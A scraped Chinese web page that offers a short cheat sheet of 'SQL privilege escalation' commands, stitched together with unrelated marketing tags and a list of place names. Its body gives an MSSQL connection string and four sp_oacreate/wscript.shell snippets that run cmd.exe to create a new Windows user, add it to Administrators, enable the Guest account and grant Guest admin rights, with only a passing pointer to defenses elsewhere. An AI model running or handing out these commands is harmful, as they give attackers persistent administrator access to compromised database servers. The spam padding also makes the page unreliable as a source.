濮阳杆衣贸易有限公司

主頁 > 知識(shí)庫(kù) > SQL 提權(quán) 常用命令

SQL 提權(quán) 常用命令

熱門標(biāo)簽:湖南電腦外呼系統(tǒng)平臺(tái) 分享百度地圖標(biāo)注多個(gè)位置 外呼系統(tǒng)改進(jìn) 廣東防封卡外呼系統(tǒng)原理是什么 知名電銷機(jī)器人價(jià)格 菏澤語音電銷機(jī)器人加盟公司 電銷機(jī)器人公司 需要哪些牌照 地圖標(biāo)注牌 長(zhǎng)沙智能外呼系統(tǒng)
1、連接數(shù)據(jù)庫(kù)
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。

標(biāo)簽:泉州 美容院 珠海 天水 西寧 商洛 呼和浩特 福建

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《SQL 提權(quán) 常用命令》,本文關(guān)鍵詞  SQL,提權(quán),常用,命令,SQL,提權(quán),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《SQL 提權(quán) 常用命令》相關(guān)的同類信息!
  • 本頁收集關(guān)于SQL 提權(quán) 常用命令的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    英德市| 盐亭县| 南阳市| 乾安县| 琼中| 景德镇市| 桐城市| 陈巴尔虎旗| 渝中区| 安国市| 上林县| 象州县| 蒙自县| 曲阜市| 临武县| 迭部县| 即墨市| 武隆县| 文安县| 平顶山市| 余庆县| 鄂托克前旗| 宜章县| 云龙县| 来宾市| 鹤壁市| 彭山县| 眉山市| 美姑县| 枣阳市| 东平县| 平陆县| 武冈市| 绥芬河市| 荔浦县| 德安县| 阿克| 衡阳市| 湄潭县| 富蕴县| 泰兴市|